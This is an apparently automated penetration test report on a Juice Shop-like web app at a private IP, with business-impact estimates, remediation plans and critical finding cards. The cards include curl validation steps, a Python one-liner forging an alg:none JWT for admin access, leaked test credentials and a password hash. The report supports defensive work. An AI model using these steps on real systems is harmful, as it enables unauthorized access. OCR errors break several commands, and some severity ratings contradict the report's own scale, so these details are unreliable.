THREATWINDS

Confidential Document

Automated Penetration

Test Report

REPORT GENERATED REPORT ID SCAN ENGINE TARGET(S)

June 12, 2026 lunar-tiger-strikes threat explot agent v3.3.1 http://172.17.0.4:3000

07 18 15 12 1 C

CRITICAL HIGH MEDIUM TOTAL SECURITY
RISKS SEVERITY RISKS SEVERITY TARGETS SCORE



» Table of Contents

01

03

05

07

09

11

13

15

17

Executive Summary

Risk Rating Methodology

Critical Findings

Medium Severity Findings

Target-by-Target Reconnaissance

Systemic Issues

Remediation Guide

Conclusion and Next Steps

Appendix B — Glossary

02

04

06

08

10

12

14

16

Scope and Methodology

Consolidated Risk Summary

High Severity Findings

Low Severity Findings

Target-by-Target Exploitation

Compliance Mapping

Strategic Recommendations

Appendix A — Evidence Inventory



.« Executive Summary

The engagement covered 1 target(s) (http.//172.17.0.4:3000) executed in AGGRESSIVE style. A total

of 52 validated finding(s) were recorded, yielding an overall risk rating of CRITICAL (100/100).

SEVERITY
CRITICAL
HIGH
MEDIUM
Lo
INFORMATIONAL

TOTAL

FINDINGS BY THEME

Application Security 33 findings

CRITICAL Exposed Prometheus metrics

endpoint

CRITICAL Exposed FTP directory listing

CRITICAL Plaintext Password Hash
Disclosed in JWT Payload

Configuration Management s findings

HIGH Publicly exposed Swagger API
documentation

meEpIUM Rate Limiting Bypass via X-
Forwarded-For

Lom Hidden Route Disclosure via X-
Recruiting Header

POSITIVE OBSERVATIONS

COUNT %

7 13.5%
18 34.6%
15 28.8%
12 23.1%
0] 0.0%

52 100%

Other 11 findings

HIGH Permissive CORS wildcard policy

HIGH Quarantine Directory Exposes
Malware URL Files

HIGH /api/Challenges endpoint exposes

challenge solution data

Software Lifecycle s findings

HIGH Missing Authentication on Admin
Endpoints

HIGH Missing Authorization on Admin
Application Version Endpoint

mepzum \Weak and Missing Security
Headers



» 52 finding(s) independently verified by hands-on reproduction.

» 2 suspected issue(s) ruled out as false positives during validation.

REQUIRED IMMEDIATE ACTIONS

1. Remediate Exposed Prometheus metrics endpoint

2. Remediate Exposed FTP directory listing — Disable directory listing in web server
configuration. Add index files to directories.

3. Remediate Plaintext Password Hash Disclosed in JWT Payload
4. Remediate Hardcoded admin credentials in client-side JavaScript
5. Remediate JWT Algorithm None Authentication Bypass

6. Remediate Error-Based SQL Injection in Product Search — Use parameterized
queries/prepared statements. Never concatenate user input into SQL. Apply input validation
and least-privilege database accounts.

7. Remediate Sensitive Authentication Details Exposure via IDOR — Implement proper
authorization checks for every resource access. Use indirect references (UUIDs) instead of

sequential IDs.

EXECUTIVE PENETRATION TESTING REPORT

Report ID: lunar-tiger-strikes
Target: http://172.17.0.4:3000
Assessment Date: 2026-06-12
Classification: CONFIDENTIAL

EXECUTIVE OVERVIEW

Overall Assessment Summary

The assessment identified a critically exposed security posture, with 52 total vulnerabilities
including 7 CRITICAL and 18 HIGH severity issues. Several findings enable direct administrative
compromise, credential exposure, database access, and disclosure of sensitive authentication
data. Immediate executive-sponsored remediation is required to reduce the likelihood of account

takeover, data loss, regulatory exposure, and business disruption.

Security Posture Rating

CRITICAL (100/100) - Executive intervention and immediate remediation required

Current State:
- @ Assessment scope was clearly defined and limited to one target, enabling focused

remediation planning.



-9 Application telemetry appears to exist through Prometheus instrumentation; however, it must
be secured before it can safely support operations.

-® The finding set provides clear evidence for prioritizing remediation around authentication,
access control, and sensitive data exposure.

- Critical Gap: Exposed Prometheus metrics endpoint publicly discloses internal application
and process data.

- /% Critical Gap: Exposed FTP directory listing allows unauthenticated access to potentially
sensitive files.

- > Critical Gap: Plaintext password hash is disclosed in JWT payloads readable by users.

- /% Critical Gap: Hardcoded admin credentials exist in client-side JavaScript and were verified
to work.

- X Critical Gap: JWT Algorithm None authentication bypass allows forged administrative
access.

- /A Critical Gap: Error-based SQL injection in product search may allow database compromise.
- 24 Critical Gap: Sensitive authentication details are exposed via IDOR, including password

hashes, roles, TOTP secrets, and login IPs.

Key Business Risks

1. Administrative Account Takeover
Multiple authentication weaknesses allow attackers to obtain or forge administrative access,

creating risk of full application compromise.

2. Sensitive Data Exposure
Password hashes, TOTP secrets, roles, login IPs, internal metrics, and potentially exposed files

could be accessed by unauthorized parties.

3. Database Compromise and Data Integrity Loss
The confirmed SQL injection risk could allow attackers to read, alter, or delete database

contents, undermining trust in business records.

4. Regulatory and Contractual Non-Compliance
Exposure of authentication details and potential customer data may trigger obligations under

privacy, security, and audit frameworks.

5. Reputational Damage and Customer Trust Erosion
Public disclosure or exploitation could affect customer confidence, board oversight, investor

confidence, and market credibility.

Immediate Action Required

The organization should initiate an emergency remediation program within 48 hours focused on
disabling public exposure, revoking exposed credentials, fixing authentication bypass paths,

protecting sensitive authentication data, and eliminating the confirmed SQL injection risk.



CRITICAL FINDINGS

Finding #1: Exposed Prometheus metrics endpoint (CRITICAL - CVSS: N/A)

Business Impact:

The publicly accessible metrics endpoint exposes operational intelligence about the application,
infrastructure behavior, traffic patterns, resource consumption, and application workflows. This
gives attackers a roadmap for planning targeted attacks and identifying high-value functions or

periods of operational weakness.

Attack Scenario:

- An unauthenticated attacker accesses the metrics endpoint.

- The attacker reviews application and process metrics such as request counts, CPU and memory
usage, and file upload statistics.

- The attacker uses this intelligence to identify active services, usage patterns, and potential
targets for follow-on attacks.

- The attacker times attacks around observed traffic and resource patterns to increase success

and reduce detection.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $IM - $10M

Finding #2: Exposed FTP directory listing (CRITICAL - CVSS: 5.3)

Business Impact:
A publicly accessible FTP directory listing can expose sensitive files, backups, logs, or operational
artifacts. If attackers download credentials, logs, or internal documents, this can accelerate

compromise and increase legal, regulatory, and reputational exposure.

Attack Scenario:

- An unauthenticated attacker browses the exposed /ftp path.

- The attacker identifies downloadable files, backups, logs, or artifacts.

- Exposed content is analyzed for credentials, internal references, application behavior, or
customer-related information.

- The attacker uses the information to support account takeover, reconnaissance, or further

compromise.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $IM - $15M



Finding #3: Plaintext Password Hash Disclosed in JWT Payload (CRITICAL - CVSS: N/A)

Business Impact:
Password hashes embedded in JWT payloads expose credential material to token holders
because JWT payloads are client-readable. This creates risk of offline password cracking,

password reuse attacks, privileged account compromise, and broader identity-related incidents.

Attack Scenario:

- A user or attacker obtains a JWT issued by the application.

- The attacker decodes the readable JWT payload.

- The admin user’s password hash is extracted from the token.

- The attacker attempts offline cracking and uses recovered credentials for unauthorized access.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $2M - $20M

Finding #4: Hardcoded admin credentials in client-side JavaScript (CRITICAL - CVSS: N/A)

Business Impact:
Administrative credentials embedded in client-side JavaScript are effectively public. Since the
credentials were verified to authenticate successfully, this creates a direct path to privileged

access and potential compromise of administrative application functions.

Attack Scenario:

- An attacker downloads or views the client-side JavaScript file.

- The attacker identifies hardcoded administrative credentials in main.js .
- The attacker uses the credentials to log in as an administrator.

- The attacker obtains an administrative JWT and accesses privileged functions.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $5M - $30M

Finding #5: JWT Algorithm None Authentication Bypass (CRITICAL - CVSS: N/A)

Business Impact:
Accepting unsigned JWTs allows attackers to forge identities and roles without knowing a signing
key. This creates immediate risk of unauthorized administrative access and full application

compromise.

Attack Scenario:
- An attacker creates a forged JWT using the alg:none technique.

- The attacker assigns elevated identity or administrative role claims.



- The server accepts the unsigned token as valid.

- The attacker accesses privileged application functions without valid credentials.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $5M - $50M

Finding #6: Error-Based SQL Injection in Product Search (CRITICAL - CVSS: 9.8)

Business Impact:
SQL injection can allow unauthorized access to database contents, including the ability to read,
change, or delete business data. This creates risk of customer data exposure, data integrity loss,

operational disruption, and significant regulatory consequences.

Attack Scenario:

- An attacker manipulates the product search g parameter.

- The backend database query is altered by attacker-controlled input.

- Database errors confirm exploitability and provide feedback to the attacker.

- The attacker may extract, modify, or delete database records.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $10M - $50M

Finding #7: Sensitive Authentication Details Exposure via IDOR (CRITICAL - CVSS: 6.5)

Business Impact:
The application exposes all users’ authentication details, including password hashes, roles, TOTP
secrets, and login IPs. This could enable credential compromise, MFA bypass attempts, privacy

violations, and large-scale account takeover.

Attack Scenario:

- An attacker accesses the /rest/user/authentication-details/ endpoint.

- The endpoint returns sensitive authentication details for all users.

- The attacker collects password hashes, roles, TOTP secrets, and login IPs.

- The attacker uses the exposed data for account takeover, privilege targeting, or MFA bypass

attempts.

Exploitation Difficulty: LOW
Likelihood: HIGH

Financial Exposure: $5M - $40M

Finding #8: Internal source code paths leaked in Express error pages (HIGH - CVSS: N/A)



Business Impact:
Leaked internal source paths and dependency locations reduce attacker effort by revealing
implementation details, file layout, and likely technology stack. While not a direct compromise by

itself, this information materially improves the success rate of targeted attacks.

Attack Scenario:

- An attacker triggers application errors.

- Express error pages disclose internal source paths and dependency locations.

- The attacker uses the disclosed file structure and framework details to tailor further attacks.

- The attacker combines this information with other weaknesses to accelerate compromise.

Exploitation Difficulty: LOW
Likelihood: MEDIUM

Financial Exposure: $500K - $2M

BUSINESS IMPACT

Potential Financial Losses

Potential financial exposure should be evaluated as a combined business-risk scenario rather than
as isolated technical defects. Given the number and severity of issues, the most likely loss drivers
are incident response, legal exposure, operational disruption, customer notification, and long-term

trust impact.

« Incident Response and Forensics: $500K - $3M
Emergency containment, forensic investigation, crisis response support, log analysis, evidence

preservation, and remediation validation.

 Legal, Regulatory, and Notification Costs: $1M - $10M
Privacy counsel, breach notification, regulatory inquiries, contractual breach management, and

external reporting obligations.

« Regulatory Fines and Penalties: $2M - $30M
Potential fines associated with exposure of authentication data, personal data, or regulated

payment/customer information depending on actual data present.

« Business Disruption and Recovery: $1M - $15M
Service downtime, emergency change windows, delayed product delivery, internal productivity

loss, and operational recovery costs.

o Customer Churn and Revenue Impact: $2M - $25M
Loss of customer confidence, delayed sales cycles, customer credits, increased security review

friction, and reputational damage.

» Long-Term Security and Assurance Costs: $IM - $8M

Security re-architecture, identity control improvements, secure development remediation,



retesting, audit support, and governance improvements.

Estimated Total Impact Range: $7.5M - $91M

Compliance Implications

Regulatory Frameworks at Risk:

CURRENT RISK

FRAWEIIORK SPECIFIC REQUIREMENT
STATUS LEVEL
. At Article 5(1)(f) - Integrity and confidentiality; Article 32 -
GDPR ) HIGH ) ]
Risk Security of processing
n Requirement 3 - Protect stored account data; Requirement
t
PCI DSS - HIGH 6 - Develop and maintain secure systems and software;
is
Requirement 8 - Identify users and authenticate access
At Security Criteria CC6 - Logical and physical access
SOC 2 ) HIGH )
Risk controls; CC7 - System operations and monitoring
i~ A Annex A.5/A.8 controls related to access control, secure
t
HIGH authentication, vulnerability management, and information
27001 N
protection
X Reasonable security procedures and practices to protect
At
CCPA HIGH personal information from unauthorized access or
Risk

disclosure

Reputation Risks

A successful exploitation scenario could materially affect customer trust, executive credibility, and
market confidence. Public exposure of hardcoded administrative credentials, password hashes,
TOTP secrets, or database compromise would likely raise concerns about security governance and
product maturity. The organization may also face increased scrutiny from customers, auditors,

partners, insurers, and prospective enterprise buyers.

Reputation impacts may include:

- Reduced customer confidence and increased churn risk.

- Delayed enterprise sales due to security review failures.

- Increased contractual assurance demands from customers and partners.
- Negative board, investor, or market perception.

- Higher cyber insurance premiums or reduced coverage options.

- Difficulty attracting security-conscious talent and partners.



STRATEGIC RECOMMENDATIONS

Priority 1: Remediate Exposed Prometheus metrics endpoint (IMMEDIATE: 0-48 Hours)

Action:
Restrict public access to the metrics endpoint immediately. Place metrics behind authentication,
network allowlisting, VPN-only access, or internal service boundaries. Review exposed metrics for

sensitive operational details and rotate any secrets or identifiers if discovered.

Investment:
- Emergency configuration change: $10K - $25K
- Validation testing: $5K - $15K

- Monitoring and access review: $10K - $25K

Business Value:
Reduces attacker reconnaissance capability and limits exposure of operational intelligence that

could support targeted attacks.

Risk Reduction: From CRITICAL exposure to controlled internal monitoring risk

Priority 2: Remediate Exposed FTP directory listing (IMMEDIATE: 0-48 Hours)

Action:
Disable public directory listing and remove unauthenticated access to /ftp . Inventory all
exposed files, determine whether sensitive data was present, remove or relocate artifacts, and

review access logs for evidence of unauthorized downloads.

Investment:
- Emergency access restriction: $10K - $25K
- File exposure review: $25K - $75K

- Log review and evidence preservation: $25K - $100K

Business Value:
Reduces risk of sensitive file exposure, credential leakage, and downstream compromise from

publicly available artifacts.

Risk Reduction: From CRITICAL exposure to LOW residual file-access risk

Priority 3: Remediate Plaintext Password Hash Disclosed in JWT Payload (IMMEDIATE: 0-7 Days)

Action:
Remove password hashes and all sensitive credential material from JWT payloads. Reissue tokens,
invalidate active sessions, rotate affected credentials, and verify that tokens contain only

minimum required claims.



Investment:

- Secure token redesign and implementation: $50K - $150K
- Credential reset and token invalidation: $25K - $75K

- Retesting and assurance: $15K - $40K

Business Value:
Prevents exposure of reusable credential material and reduces the risk of account takeover

through offline hash cracking.

Risk Reduction: From CRITICAL credential exposure to MEDIUM/LOW residual authentication risk

Priority 4: Remediate Hardcoded admin credentials in client-side JavaScript (IMMEDIATE: 0-48

Hours)

Action:
Remove hardcoded administrative credentials from client-side JavaScript immediately. Disable
the exposed admin account, rotate all administrative credentials, invalidate related sessions and

JWTs, and conduct an access review for unauthorized administrative activity.

Investment:
- Code fix and emergency deployment: $15K - $50K
- Administrative credential rotation: $10K - $25K

- Access review and forensic support: $50K - $200K

Business Value:
Eliminates a direct public pathway to administrative compromise and reduces likelihood of

privileged misuse.

Risk Reduction: From CRITICAL administrative takeover risk to controlled privileged-access risk

Priority 5: Remediate JWT Algorithm None Authentication Bypass (IMMEDIATE: 0-7 Days)

Action:
Reject unsigned JWTs and explicitly enforce approved signing algorithms. Validate token signature,
issuer, audience, expiration, and role claims. Invalidate existing tokens and perform targeted

testing against authentication bypass scenarios.

Investment:
- Authentication library/configuration remediation: $40K - $125K
- Token invalidation and session management updates: $20K - $60K

- Penetration retest focused on authentication: $25K - $75K

Business Value:
Removes a direct path to forged identity and administrative access, materially reducing the

likelihood of full application compromise.



Risk Reduction: From CRITICAL authentication bypass risk to LOW/MEDIUM residual

authentication risk
Total Investment Required: $390K - $1.14M for immediate top-priority remediation and validation

Risk Reduction: From current score of 100/100 CRITICAL to target score of 35/100 MEDIUM after

validated remediation of critical and high-priority issues

RISK DASHBOARD

Vulnerability Distribution

SEVERITY LEVEL COUNT PERCENTAGE STATUS

CRITICAL 7 13.5% Requires Immediate Action

HIGH 18 34.6% Requires Accelerated Remediation
MEDIUM 15 28.8% Scheduled Remediation

LOW 12 23.1% Managed Remediation / Monitoring
INFORMATIONAL o 0.0% No Informational Findings Recorded
TOTAL 52 100%

Risk Reduction Trajectory

Current: 100/100 CRITICAL

— After Phase 1: 70/100 HIGH, after emergency containment of exposed services, hardcoded
credentials, and active authentication bypass paths

— After Phase 2: 50/100 HIGH/MEDIUM, after remediation of remaining high-priority
authentication and information disclosure risks

— After Phase 3: 35/100 MEDIUM, after remediation of medium-severity issues and validation
testing

— Target: 20/100 LOW, after sustained secure development, monitoring, access control, and

periodic retesting

Remediation Timeline

Phase 1(0-7 days):
Critical items including exposed Prometheus metrics endpoint, exposed FTP directory listing,

plaintext password hash in JWT payload, hardcoded admin credentials, JWT Algorithm None



authentication bypass, error-based SQL injection, and sensitive authentication details exposure

via IDOR.

Phase 2 (8-30 days):

High-priority items including internal source code path leakage through Express error pages and

the remaining HIGH severity vulnerabilities from the validated assessment set.

Phase 3 (31-90 days):

Medium-priority remediation, validation testing, secure development improvements, and

verification that sensitive authentication and access-control exposures are fully resolved.

Phase 4 (90+ days):

Long-term improvements including recurring penetration testing, secure coding governance,

executive security metrics, and continuous remediation tracking.

NEXT STEPS

Immediate Actions (0-48 Hours)

—_

. Establish an executive remediation war room.

Deliverable: Named executive owner, technical remediation lead, legal/privacy advisor,

communications owner, and daily status cadence.

. Disable or restrict exposed public services.

Deliverable: Prometheus metrics and /ftp directory listing are no longer publicly accessible.

.Remove and rotate exposed administrative credentials.

Deliverable: Hardcoded credentials removed, admin account disabled or rotated, all active

administrative sessions invalidated.

. Contain authentication token exposure.

Deliverable: JWTs no longer expose password hashes; unsigned JWTs are rejected; all active

tokens invalidated and reissued.

. Begin exploitation review and evidence preservation.

Deliverable: Access logs preserved, suspicious administrative activity reviewed, and potential

exposure window documented.

30-Day Action Plan

Week 1: Emergency Containment

- Restrict public access to exposed metrics and FTP paths.

- Remove hardcoded admin credentials.

- Disable acceptance of unsigned JWTs.

- Remove password hashes from JWT payloads.



- Begin remediation of SQL injection and authentication-details exposure.

- Start log review and administrative activity investigation.

Week 2: Critical Remediation Completion

- Deploy fixes for the SQL injection in product search.

- Restrict access to /rest/user/authentication-details/ .

- Confirm token validation, session invalidation, and credential rotation.

- Complete first round of focused retesting on all CRITICAL issues.

Week 3: High-Risk Remediation
- Resolve Express error-page source path disclosure.
- Address remaining HIGH severity vulnerabilities from the assessment.

- Validate that no sensitive operational or authentication data is exposed to unauthorized users.

Week 4: Assurance and Executive Reporting

- Complete remediation validation testing.

- Produce executive remediation status report.

- Confirm residual risk score and approve next-phase backlog.

- Define recurring security testing and governance cadence.

Long-Term Security Roadmap (90+ Days)

Quarter 1: Stabilization and Control
- Complete remediation of CRITICAL, HIGH, and MEDIUM findings.
- Establish secure authentication and access-control review standards.

- Implement recurring remediation tracking and executive risk reporting.

Quarter 2: Secure Development Maturity
- Integrate security testing into release processes.
- Require peer review for authentication, authorization, and sensitive-data handling changes.

- Conduct developer training focused on the confirmed issue areas.

Quarter 3: Continuous Assurance

- Perform follow-up penetration testing.

- Establish ongoing validation for exposed endpoints, authentication behavior, and sensitive data
handling.

- Track risk reduction against board-level metrics.

Quarter 4: Governance and Resilience

- Formalize security control ownership.

- Align security evidence with SOC 2, ISO 27001, GDPR, PCI DSS, and CCPA expectations where
applicable.

- Review security investment, insurance posture, and incident readiness.

ROI Summary



The estimated immediate remediation investment of $390K - $1.14M is materially lower than the
estimated total business impact range of $7.5M - $91M. Prioritizing the identified critical issues
can significantly reduce the likelihood of administrative compromise, data exposure, regulatory
action, and business disruption. The expected return is strongest where remediation directly
eliminates public exposure, credential compromise, authentication bypass, and database

exploitation risk.

CONCLUSION

The current security posture is critical and requires immediate executive attention. The
assessment identified multiple direct paths to administrative compromise, credential exposure,
sensitive authentication data disclosure, and database compromise. These issues create a high-
likelihood, high-impact business risk scenario that could result in financial loss, regulatory scrutiny,

operational disruption, and reputational harm.

The path forward is clear: contain exposed services, eliminate credential and token weaknesses,
remediate the confirmed SQL injection, restrict sensitive authentication data, and validate all fixes
through focused retesting. Addressing the top-priority issues within the first 7 days will materially

reduce the organization’s most severe exposure.

With disciplined execution, executive sponsorship, and independent validation, the organization
can reduce its risk from CRITICAL to a manageable level while improving security governance and

customer assurance.

Key Success Factors:

- Executive ownership and daily remediation accountability.

- Immediate containment of publicly exposed sensitive endpoints.

- Full credential rotation and session invalidation.

- Verified remediation of authentication bypass and SQL injection risks.
- Independent retesting before declaring closure.

- Ongoing board-level visibility into residual risk.

Expected Outcomes:

- Reduced likelihood of administrative account takeover.

- Reduced exposure of credentials, authentication details, and operational intelligence.

- Lower regulatory and contractual risk.

- Improved customer and partner confidence.

- Clear remediation evidence for audit and governance purposes.

- Target risk score reduction from 100/100 CRITICAL to 35/100 MEDIUM, with a longer-term
target of 20/100 LOW.

Recommendation:

Immediately fund and execute a 30-day critical remediation program, beginning with 0-48 hour



containment actions and followed by independent validation testing before returning the

application to normal risk acceptance.

Report Prepared By: ThreatWinds PT-Agent Automated Assessment
Classification: CONFIDENTIAL - Executive Distribution Only

Next Review Date: 90 days post-remediation



» Scope and Methodology

SCOPE
# TARGET HOST/IP TYPE DESCRIPTION
o1 http://172.17.0.4:3000 Application External-facing target.

METHODOLOGICAL PHASES

PHASE ACTIVITIES

Passive Reconnaissance OSINT, DNS, WHOIS, certificate transparency log review.

Active Scanning TCP/UDP port scanning, service and operating system fingerprinting.

Web Application Testing Injection, XSS, SSRF, CORS, access-control and session testing.

Exploitation Credential attacks, CVE exploitation, configuration abuse.

Verification Independent reproduction of every recorded finding.

Cleanup Removal of test artefacts and rotation of credentials issued for the engagement.
Methodology

Testing Approach
This penetration test followed industry-standard methodologies including:

 OWASP Testing Guide v4.2 for web application testing
« PTES (Penetration Testing Execution Standard) for overall methodology

¢ NIST SP 800-115 Technical Guide to Information Security Testing

Phases

1. Reconnaissance: Passive and active information gathering

2. Scanning: Port scanning, service enumeration, vulnerability scanning
3. Exploitation: Attempting to exploit identified vulnerabilities

4. Post-Exploitation: Privilege escalation, lateral movement, persistence

5. Reporting: Documentation of findings and recommendations



Tools Used

e Network scanning: Nmap, Masscan

e Web testing: Nikto, SQLMap, Nuclei, Gobuster, FFuF, Feroxbuster
« Exploitation: Hydra, custom Python scripts

e Browser automation: Playwright, browser-use

e Analysis: Python, Bash scripting

Scope and Limitations

Testing was performed within the defined scope and time constraints.
Only authorized targets were tested. No denial of service testing was performed

unless explicitly authorized.



- Risk Rating Methodology

Severity is assigned using the CVSS v3.1 standard. When a single component carries multiple
CVEs, the highest-rated finding is shown and additional references are listed in the finding card.

Ccvss RECOMMENDED
SEVERITY DESCRIPTION
RANGE REMEDIATION
CRITICAL 9.0 - Severe risk to the organisation; immediate action 0-7 days
10.0 required.
HIGH 70 -89 Significant exposure; remediation within the current 0-30 days
sprint.
MEDIUM 40 -69 Moderate exposure; remediate during the next 30-90 days

maintenance window.

Lowm 0l =289 Minor exposure; address in routine hardening. 90-180 days

INFORMATIONAL (0X0) No direct security impact; recorded for awareness. Best-effort



. Consolidated Risk Summary

BY TARGET
TARGET RISK RATING TOTAL CRITICAL HIGH MEDIUM Low
http://172.17.0.4:3000 CRITICAL (100/100) 52 7 18 15 12

BY CATEGORY

CATEGORY CRITICAL HIGH MEDIUM Low TOTAL
Application Security 7 10 n 5) 33
Other 0 5 2 4 n
Configuration Management 0 1 1 3 5

Software Lifecycle 0 2 1 0 3



05

Critical Findings

CRITICAL VULN-lunar-ti-0001
Exposed Prometheus metrics endpoint

AV: Unauthenticated sensitive information disclosure Asset: http://172.17.0.4:3000/metrics

Target: http://172.17.0.4:3000

DESCRIPTION

The Prometheus metrics endpoint is publicly accessible without authentication and
exposes internal application and process data, including CPU and memory metrics, HTTP
request counts, file upload statistics, LLM token usage, and startup timing information.
This can help attackers fingerprint the application, monitor behavior, and identify

sensitive operational details.

IMPACT

Unauthenticated metrics disclosure enables attackers to fingerprint services, traffic
patterns, resource usage, and application behavior. This intelligence can be used to plan
targeted attacks or identify high-value functionality.

DIMENSION RATING

Confidentiality High

Integrity High

Availability Low

Compliance High
EVIDENCE

/metrics - Prometheus metrics (200, 25KB)

reproduction_results.txt exploit_output 977 B

REMEDIATION

IMMEDIATE (24-48H)

Block public access to /metrics at the reverse proxy or firewall and restrict it to
trusted monitoring hosts only.

SHORT-TERNM (1-2 WEEKS)

Require authentication for metrics access and review exported labels for sensitive
business or operational data.

LONG-TERM (1-3 MONTHS)




Move observability endpoints to a private management network and enforce a
standard monitoring exposure policy across services.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/metrics’
$ curl -s 'http://<TARGET_DOMAIN>/metrics' | head -n 30
$ curl -s 'http://<TARGET_DOMAIN>/metrics' | grep -Ei

"process_|http_|token|upload|memory|cpu’ | head

CRITICAL VULN-1lunar-ti-0002
Exposed FTP directory listing

CWE: CWE-548 CVSS: 5.3 AV: Unauthenticated directory listing
Asset: http://172.17.0.4:3000/ftp Target: http://172.17.0.4:3000

OWASP: A05:2021 — Security Misconfiguration

DESCRIPTION

The /ftp path exposes a directory listing and allows public file access without
authentication. This may disclose sensitive files and provide attackers with additional
information or downloadable artifacts useful for further attacks.

IMPACT

Public directory listing can expose sensitive files, backups, logs, or artifacts useful for
compromise. Attackers may download exposed content and use it for credential theft,

reconnaissance, or follow-on attacks.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

/ftp - Directory listing exposed (200)

REMEDIATION

IMMEDIATE (24-48H)

Disable directory indexing for /ftp and remove sensitive files from the web-
accessible path.

SHORT-TERM (1-2 WEEKS)




Require authentication and authorization for file access and audit all files currently
exposed under /ftp.

LONG-TERM (1-3 MONTHS)

Replace public filesystem-backed directories with a controlled file service using
access checks, logging, and data classification.

VALIDATION STEPS

$ curl -i 'http://<TARGET_DOMAIN>/ftp’
$ curl -s 'http://<TARGET_DOMAIN>/ftp' | grep -Ei 'Index of|Directory listing|href' |
head

$ curl -sI 'http://<TARGET_DOMAIN>/ftp/’

CRITICAL VULN-lunar-ti-0003
Plaintext Password Hash Disclosed in JWT Payload

AV: JWNT information disclosure Asset: JWT authentication on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

The JWT payload contains the admin user's password hash in plaintext. Because JWT
payloads are client-readable, this exposes credential material that can be cracked offline
or reused in further attacks.

IMPACT

Embedding password hashes in JWT payloads exposes credential material to every token
holder because JWT payloads are client-readable. Attackers can crack hashes offline and
reuse recovered passwords against this or other systems.

DIMENSION RATING

Confidentiality High

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Password hash stored in JWT payload: 0192023a7bbd73250516T069df18b500

REMEDIATION

IMMEDIATE (24-48H)




Remove password hashes and all credential-derived data from JWT claims and
invalidate currently issued tokens.

SHORT-TERNM (1-2 WEEKS)

Define an allowlist of minimal JWT claims, such as subject, role, issuer, audience,
issued-at, and expiration.

LONG-TERM (1-3 MONTHS)

Adopt centralized token design standards and automated tests that fail builds when
sensitive fields are added to client-readable tokens.

VALIDATION STEPS

$ TOKEN=$(curl -s -H 'Content-Type: application/json' --data-raw '{"email”:"
<USER_EMAIL>", "password": "<PASSWORD>"}"' 'http://<TARGET_DOMAIN>/rest/user/login' | iq
-r '.authentication.token"')

$ echo $TOKEN | cut -d. -f2 | baseb4 -d 2>/dev/null | iq .

$ echo $TOKEN | cut -d. -f2 | baseB4 -d 2>/dev/null | grep -Ei 'password|hash|admin’

CRITICAL VULN-1lunar-ti-0004
Hardcoded admin credentials in client-side JavaScript

AV: Hardcoded credentials Asset: main.js line 3137; /rest/user/login on port 3000

Target: http://172.17.0.4:3000

DESCRIPTION

Hardcoded credentials were found in main.js and verified to authenticate successfully.
The account has admin role privileges, allowing an attacker to obtain an administrative
JWT and access privileged functionality. **Also includes:** Hardcoded testing credentials

in client-side JavaScript

IMPACT

Hardcoded administrative credentials in client-side JavaScript allow anyone to recover
credentials and authenticate as an administrator. This can lead to full compromise of
privileged application functions and sensitive data.

DIMENSION RATING
Confidentiality High
Integrity Medium
Availability Low
Compliance High

EVIDENCE



Email: testing@juice-sh.op; Password: IamUsedForTesting; Role: admin (user id 22);
VERIFIED: Authentication succeeds, returns admin JWT token; Evidence:

exploits/testing_credentials_auth.txt

REMEDIATION

IMMEDIATE (24-48H)

Remove the credentials from client-side code, disable the affected account, and
rotate all related passwords and tokens.

SHORT-TERNM (1-2 WEEKS)

Search repositories, build artifacts, and logs for additional hardcoded secrets and
move secrets to server-side secret management.

LONG-TERM (1-3 MONTHS)

Implement pre-commit and Cl secret scanning with enforced rotation procedures
for any secret committed to code.

VALIDATION STEPS

$ curl -s 'http://<TARGET_DOMAIN>/main.js' | grep -Ei
'admin|password|credential|testing’ | head -n 20

$ curl -s 'http://<TARGET_DOMAIN>/main.js' | nl -ba | sed -n '3120,3150p"

v "

$ curl -i -H 'Content-Type: application/json’' --data-raw '{"email":
<DISCOVERED_EMAIL>", "password":"<DISCOVERED_PASSWORD>"}"

"http://<TARGET_DOMAIN>/rest/user/login’

CRITICAL VULN-lunar-ti-0005
JWT Algorithm None Authentication Bypass

AV: JWT alg:none authentication bupass Asset: http://172.17.0.4:3000 JWT authentication

Target: http://172.17.0.4:3000

DESCRIPTION

The server accepts forged unsigned JWTs using the alg:none technique, allowing
authentication bypass and administrative access without valid credentials.
IMPACT

Accepting unsigned JWTs allows attackers to forge arbitrary identities and roles without
knowing a signing key. This can result in immediate administrative account takeover and

unauthorized access to sensitive APls.

DIMENSION RATING

Confidentiality High



DIMENSION RATING

Integrity Medium

Availability Low

Compliance High
EVIDENCE

Forged unsigned JWT accepted, admin access achieved

REMEDIATION

IMMEDIATE (24-48H)

Reject tokens using alg:none and restrict JWT verification to a single approved
signing algorithm.

SHORT-TERNM (1-2 WEEKS)

Patch or reconfigure the JWT library to enforce signature verification, issuer,
audience, and expiration checks.

LONG-TERM (1-3 MONTHS)

Centralize authentication middleware and add automated security tests for
unsigned, tampered, expired, and wrong-algorithm tokens.

VALIDATION STEPS

$ TOKEN=$(python3 -c 'import base64,json; e=lambda o:

baseB4 .urlsafe_bbB4encode(json.dumps(o, separators=

(m,",":")).encode()) .rstrip(b"=").decode();

print(e({"alg”:"none", "typ":"JWT"})+"."+e({"email" : "admina<TARGET_DOMAIN>", "role": "ad
min"})+".")")

$ curl -i -H "Authorization: Bearer $TOKEN"
"http://<TARGET_DOMAIN>/rest/admin/application-version’

$ curl -i -H "Authorization: Bearer $TOKEN"

'http://<TARGET_DOMAIN>/rest/admin/application-configuration’

CRITICAL VULN-lunar-ti-0006

Error-Based SQL Injection in Product Search

CWE: CWE-89 CVsS: 9.8 AV: SQLi Asset: GET /rest/products/search?qg=
Target: http://172.17.0.4:3000 OWASP: A03:2021 — Injection
DESCRIPTION

A critical error-based SQL injection was confirmed in the product search endpoint. An
attacker can manipulate the q parameter to alter backend SQL queries, potentially



extracting or modifying database contents and bypassing application logic.

IMPACT

SQL injection can allow attackers to read, alter, or delete database contents and
potentially bypass authentication or business logic. Successful exploitation may expose
customer data and undermine data integrity.

DIMENSION RATING

Confidentiality High

Integrity High

Availability Low

Compliance High
